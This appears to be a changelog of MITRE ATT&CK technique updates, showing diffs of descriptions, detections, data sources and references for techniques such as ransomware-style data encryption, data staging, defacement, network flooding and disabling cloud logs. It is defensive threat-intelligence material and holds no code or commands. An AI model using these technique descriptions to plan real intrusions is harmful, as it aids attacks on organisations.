| In the case of ransomware, it is typical that common user f | | In the case of ransomware, it is typical that common user |
| iles like Office documents, PDFs, images, videos, audio, tex | | files like Office documents, PDFs, images, videos, audio, te |
| t, and source code files will be encrypted. In some cases, a | | xt, and source code files will be encrypted (and often renam |
| dversaries may encrypt critical system files, disk partition | | ed and/or tagged with specific file markers). Adversaries ma |
| s, and the MBR.(Citation: US-CERT NotPetya 2017) To maximiz | | y need to first employ other behaviors, such as [File and Di |
| e impact on the target organization, malware designed for en | | rectory Permissions Modification](https://attack.mitre.org/t |
| crypting data may have worm-like features to propagate acros | | echniques/T1222) or [System Shutdown/Reboot](https://attack. |
| s a network by leveraging other attack techniques like [Vali | | mitre.org/techniques/T1529), in order to unlock and/or gain |
| d Accounts](https://attack.mitre.org/techniques/T1078), [OS | | access to manipulate these files.(Citation: CarbonBlack Cont |
| Credential Dumping](https://attack.mitre.org/techniques/T100 | | i July 2020) In some cases, adversaries may encrypt critical |
| 3), and [SMB/Windows Admin Shares](https://attack.mitre.org/ | | system files, disk partitions, and the MBR.(Citation: US-CE |
| techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Cita | | RT NotPetya 2017) To maximize impact on the target organiz |
| tion: US-CERT NotPetya 2017) In cloud environments, storage | | ation, malware designed for encrypting data may have worm-li |
| objects within compromised accounts may also be encrypted.( | | ke features to propagate across a network by leveraging othe |
| Citation: Rhino S3 Ransomware Part 1) | | r attack techniques like [Valid Accounts](https://attack.mit |
| | | re.org/techniques/T1078), [OS Credential Dumping](https://at |
| | | tack.mitre.org/techniques/T1003), and [SMB/Windows Admin Sha |
| | | res](https://attack.mitre.org/techniques/T1021/002).(Citatio |
| | | n: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) E |
| | | ncryption malware may also leverage [Internal Defacement](ht |
| | | tps://attack.mitre.org/techniques/T1491/001), such as changi |
| | | ng victim wallpapers, or otherwise intimidate victims by sen |
| | | ding ransom notes or other messages to connected printers (k |
| | | nown as "print bombing").(Citation: NHS Digital Egregor Nov |
| | | 2020) In cloud environments, storage objects within comprom |
| | | ised accounts may also be encrypted.(Citation: Rhino S3 Rans |
| | | omware Part 1) |
Dropped Detections:
- DS0010: Cloud Storage (Cloud Storage Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:07:27.119000+00:00 | 2022-04-19 17:59:45.105000+00:00 |
| description | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)
To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)
In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)
In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)
To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020)
In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) |
| external_references[1]['source_name'] | US-CERT Ransomware 2016 | CarbonBlack Conti July 2020 |
| external_references[1]['description'] | US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019. | Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021. |
| external_references[1]['url'] | https://www.us-cert.gov/ncas/alerts/TA16-091A | https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/ |
| external_references[3]['source_name'] | US-CERT NotPetya 2017 | Rhino S3 Ransomware Part 1 |
| external_references[3]['description'] | US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019. | Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021. |
| external_references[3]['url'] | https://www.us-cert.gov/ncas/alerts/TA17-181A | https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ |
| external_references[4]['source_name'] | US-CERT SamSam 2018 | NHS Digital Egregor Nov 2020 |
| external_references[4]['description'] | US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019. | NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020. |
| external_references[4]['url'] | https://www.us-cert.gov/ncas/alerts/AA18-337A | https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary |
| external_references[5]['source_name'] | Rhino S3 Ransomware Part 1 | US-CERT Ransomware 2016 |
| external_references[5]['description'] | Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021. | US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019. |
| external_references[5]['url'] | https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ | https://www.us-cert.gov/ncas/alerts/TA16-091A |
| x_mitre_data_sources[0] | Cloud Storage: Cloud Storage Metadata | File: File Creation |
| x_mitre_data_sources[5] | File: File Modification | Cloud Storage: Cloud Storage Metadata |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'US-CERT NotPetya 2017', 'description': 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-181A'} |
| external_references | | {'source_name': 'US-CERT SamSam 2018', 'description': 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/AA18-337A'} |
| x_mitre_contributors | | Mayuresh Dani, Qualys |
| x_mitre_contributors | | Harshal Tupsamudre, Qualys |
| x_mitre_contributors | | Travis Smith, Qualys |
| x_mitre_data_sources | | File: File Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Creation | |
[T1565] Data Manipulation
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may insert, delete, or manipulate data in order | t | Adversaries may insert, delete, or manipulate data in order |
| to manipulate external outcomes or hide activity. By manipul | | to influence external outcomes or hide activity, thus threat |
| ating data, adversaries may attempt to affect a business pro | | ening the integrity of the data. By manipulating data, adver |
| cess, organizational understanding, or decision making. The | | saries may attempt to affect a business process, organizatio |
| type of modification and the impact it will have depends on | | nal understanding, or decision making. The type of modifica |
| the target application and process as well as the goals and | | tion and the impact it will have depends on the target appli |
| objectives of the adversary. For complex systems, an advers | | cation and process as well as the goals and objectives of th |
| ary would likely need special expertise and possibly access | | e adversary. For complex systems, an adversary would likely |
| to specialized software related to the system that would typ | | need special expertise and possibly access to specialized so |
| ically be gained through a prolonged information gathering c | | ftware related to the system that would typically be gained |
| ampaign in order to have the desired impact. | | through a prolonged information gathering campaign in order |
| | | to have the desired impact. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-24 14:04:16.371000+00:00 | 2022-04-19 23:03:02.016000+00:00 |
| description | Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| x_mitre_data_sources[1] | Process: OS API Execution | File: File Creation |
| x_mitre_data_sources[2] | File: File Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | File: File Deletion | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[4] | File: File Modification | File: File Deletion |
| x_mitre_data_sources[5] | Network Traffic: Network Traffic Content | Process: OS API Execution |
| x_mitre_data_sources[6] | Network Traffic: Network Traffic Flow | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
[T1074] Data Staged
Current version: 1.4
Version changed from: 1.3 → 1.4
New Detections:
- DS0024: Windows Registry (Windows Registry Key Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:00.855000+00:00 | 2022-01-10 22:19:56.116000+00:00 |
| x_mitre_data_sources[1] | File: File Creation | Command: Command Execution |
| x_mitre_data_sources[2] | Command: Command Execution | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Creation |
[T1005] Data from Local System
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may search local system sources, such as file sy | t | Adversaries may search local system sources, such as file sy |
| stems or local databases, to find files of interest and sens | | stems and configuration files or local databases, to find fi |
| itive data prior to Exfiltration. Adversaries may do this u | | les of interest and sensitive data prior to Exfiltration. A |
| sing a [Command and Scripting Interpreter](https://attack.mi | | dversaries may do this using a [Command and Scripting Interp |
| tre.org/techniques/T1059), such as [cmd](https://attack.mitr | | reter](https://attack.mitre.org/techniques/T1059), such as [ |
| e.org/software/S0106), which has functionality to interact w | | cmd](https://attack.mitre.org/software/S0106) as well as a [ |
| ith the file system to gather information. Some adversaries | | Network Device CLI](https://attack.mitre.org/techniques/T105 |
| may also use [Automated Collection](https://attack.mitre.org | | 9/008), which have functionality to interact with the file s |
| /techniques/T1119) on the local system. | | ystem to gather information. Adversaries may also use [Autom |
| | | ated Collection](https://attack.mitre.org/techniques/T1119) |
| | | on the local system. |
New Detections:
- DS0009: Process (OS API Execution)
- DS0009: Process (Process Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 22:16:42.734000+00:00 | 2022-04-20 18:14:57.035000+00:00 |
| description | Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
| Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
|
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Mandiant APT41 Global Intrusion ', 'description': 'Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.', 'url': 'https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits '} |
| external_references | | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} |
| x_mitre_contributors | | Austin Clark, @c2defense |
| x_mitre_data_sources | | Process: Process Creation |
| x_mitre_data_sources | | Process: OS API Execution |
| x_mitre_platforms | | Network |
[T1491] Defacement
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may modify visual content available internally o | t | Adversaries may modify visual content available internally o |
| r externally to an enterprise network. Reasons for [Defaceme | | r externally to an enterprise network, thus affecting the in |
| nt](https://attack.mitre.org/techniques/T1491) include deliv | | tegrity of the original content. Reasons for [Defacement](ht |
| ering messaging, intimidation, or claiming (possibly false) | | tps://attack.mitre.org/techniques/T1491) include delivering |
| credit for an intrusion. Disturbing or offensive images may | | messaging, intimidation, or claiming (possibly false) credit |
| be used as a part of [Defacement](https://attack.mitre.org/t | | for an intrusion. Disturbing or offensive images may be use |
| echniques/T1491) in order to cause user discomfort, or to pr | | d as a part of [Defacement](https://attack.mitre.org/techniq |
| essure compliance with accompanying messages. | | ues/T1491) in order to cause user discomfort, or to pressure |
| | | compliance with accompanying messages. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:01.150000+00:00 | 2022-03-25 19:34:42.056000+00:00 |
| description | Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.
| Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.
|
| x_mitre_data_sources[0] | File: File Modification | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | File: File Creation | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Application Log: Application Log Content | File: File Creation |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Content | File: File Modification |
| x_mitre_version | 1.2 | 1.3 |
[T1610] Deploy Container
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 12:02:20.641000+00:00 | 2022-04-01 13:14:58.939000+00:00 |
| x_mitre_data_sources[0] | Container: Container Creation | Container: Container Start |
| x_mitre_data_sources[1] | Container: Container Start | Container: Container Creation |
| x_mitre_data_sources[3] | Pod: Pod Modification | Application Log: Application Log Content |
| x_mitre_data_sources[4] | Application Log: Application Log Content | Pod: Pod Modification |
| x_mitre_version | 1.0 | 1.1 |
[T1498.001] Network Denial of Service: Direct Network Flood
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may attempt to cause a denial of service (DoS) b | t | Adversaries may attempt to cause a denial of service (DoS) b |
| y directly sending a high-volume of network traffic to a tar | | y directly sending a high-volume of network traffic to a tar |
| get. [Direct Network Flood](https://attack.mitre.org/techniq | | get. This DoS attack may also reduce the availability and fu |
| ues/T1498/001) are when one or more systems are used to send | | nctionality of the targeted system(s) and network. [Direct N |
| a high-volume of network packets towards the targeted servi | | etwork Flood](https://attack.mitre.org/techniques/T1498/001) |
| ce's network. Almost any network protocol may be used for fl | | s are when one or more systems are used to send a high-volum |
| ooding. Stateless protocols such as UDP or ICMP are commonly | | e of network packets towards the targeted service's network. |
| used but stateful protocols such as TCP can be used as well | | Almost any network protocol may be used for flooding. State |
| . Botnets are commonly used to conduct network flooding att | | less protocols such as UDP or ICMP are commonly used but sta |
| acks against networks and services. Large botnets can genera | | teful protocols such as TCP can be used as well. Botnets ar |
| te a significant amount of traffic from systems spread acros | | e commonly used to conduct network flooding attacks against |
| s the global Internet. Adversaries may have the resources to | | networks and services. Large botnets can generate a signific |
| build out and control their own botnet infrastructure or ma | | ant amount of traffic from systems spread across the global |
| y rent time on an existing botnet to conduct an attack. In s | | Internet. Adversaries may have the resources to build out an |
| ome of the worst cases for distributed DoS (DDoS), so many s | | d control their own botnet infrastructure or may rent time o |
| ystems are used to generate the flood that each one only nee | | n an existing botnet to conduct an attack. In some of the wo |
| ds to send out a small amount of traffic to produce enough v | | rst cases for distributed DoS (DDoS), so many systems are us |
| olume to saturate the target network. In such circumstances, | | ed to generate the flood that each one only needs to send ou |
| distinguishing DDoS traffic from legitimate clients becomes | | t a small amount of traffic to produce enough volume to satu |
| exceedingly difficult. Botnets have been used in some of th | | rate the target network. In such circumstances, distinguishi |
| e most high-profile DDoS flooding attacks, such as the 2012 | | ng DDoS traffic from legitimate clients becomes exceedingly |
| series of incidents that targeted major US banks.(Citation: | | difficult. Botnets have been used in some of the most high-p |
| USNYAG IranianBotnet March 2016) | | rofile DDoS flooding attacks, such as the 2012 series of inc |
| | | idents that targeted major US banks.(Citation: USNYAG Irania |
| | | nBotnet March 2016) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| external_references | | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. |
| external_references | | CAPEC-125 |
| external_references | | CAPEC-486 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-125 | |
| external_references | CAPEC-486 | |
| external_references | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-29 16:11:56.727000+00:00 | 2022-04-19 23:28:52.908000+00:00 |
| description | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) |
| external_references[1]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/125.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[2]['source_name'] | capec | USNYAG IranianBotnet March 2016 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/486.html | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged |
| external_references[3]['source_name'] | USNYAG IranianBotnet March 2016 | capec |
| external_references[3]['url'] | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged | https://capec.mitre.org/data/definitions/125.html |
| external_references[4]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[4]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/486.html |
| x_mitre_version | 1.2 | 1.3 |
[T1562.008] Impair Defenses: Disable Cloud Logs
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | An adversary may disable cloud logging capabilities and inte | t | An adversary may disable cloud logging capabilities and inte |
| grations to limit what data is collected on their activities | | grations to limit what data is collected on their activities |
| and avoid detection. Cloud environments allow for collect | | and avoid detection. Cloud environments allow for collect |
| ion and analysis of audit and application logs that provide | | ion and analysis of audit and application logs that provide |
| insight into what activities a user does within the environm | | insight into what activities a user does within the environm |
| ent. If an attacker has sufficient permissions, they can dis | | ent. If an adversary has sufficient permissions, they can di |
| able logging to avoid detection of their activities. For exa | | sable logging to avoid detection of their activities. For ex |
| mple, in AWS an adversary may disable CloudWatch/CloudTrail | | ample, in AWS an adversary may disable CloudWatch/CloudTrail |
| integrations prior to conducting further malicious activity. | | integrations prior to conducting further malicious activity |
| (Citation: Following the CloudTrail: Generating strong AWS s | | .(Citation: Following the CloudTrail: Generating strong AWS |
| ecurity signals with Sumo Logic) | | security signals with Sumo Logic) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-15 16:43:04.273000+00:00 | 2022-03-08 21:55:27.505000+00:00 |
| description | An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.
Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) | An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.
Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) |
| x_mitre_data_sources[0] | Cloud Service: Cloud Service Modification | Cloud Service: Cloud Service Disable |
| x_mitre_data_sources[1] | Cloud Service: Cloud Service Disable | Cloud Service: Cloud Service Modification |
| x_mitre_version | 1.1 | 1.2 |
[T1584.001] Compromise Infrastructure: Domains
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may hijack domains and/or subdomains that can be | t | Adversaries may hijack domains and/or subdomains that can be |
| used during targeting. Domain registration hijacking is the | | used during targeting. Domain registration hijacking is the |
| act of changing the registration of a domain name without t | | act of changing the registration of a domain name without t |
| he permission of the original registrant.(Citation: ICANNDom | | he permission of the original registrant.(Citation: ICANNDom |
| ainNameHijacking) An adversary may gain access to an email a | | ainNameHijacking) Adversaries may gain access to an email ac |
| ccount for the person listed as the owner of the domain. The | | count for the person listed as the owner of the domain. The |
| adversary can then claim that they forgot their password in | | adversary can then claim that they forgot their password in |
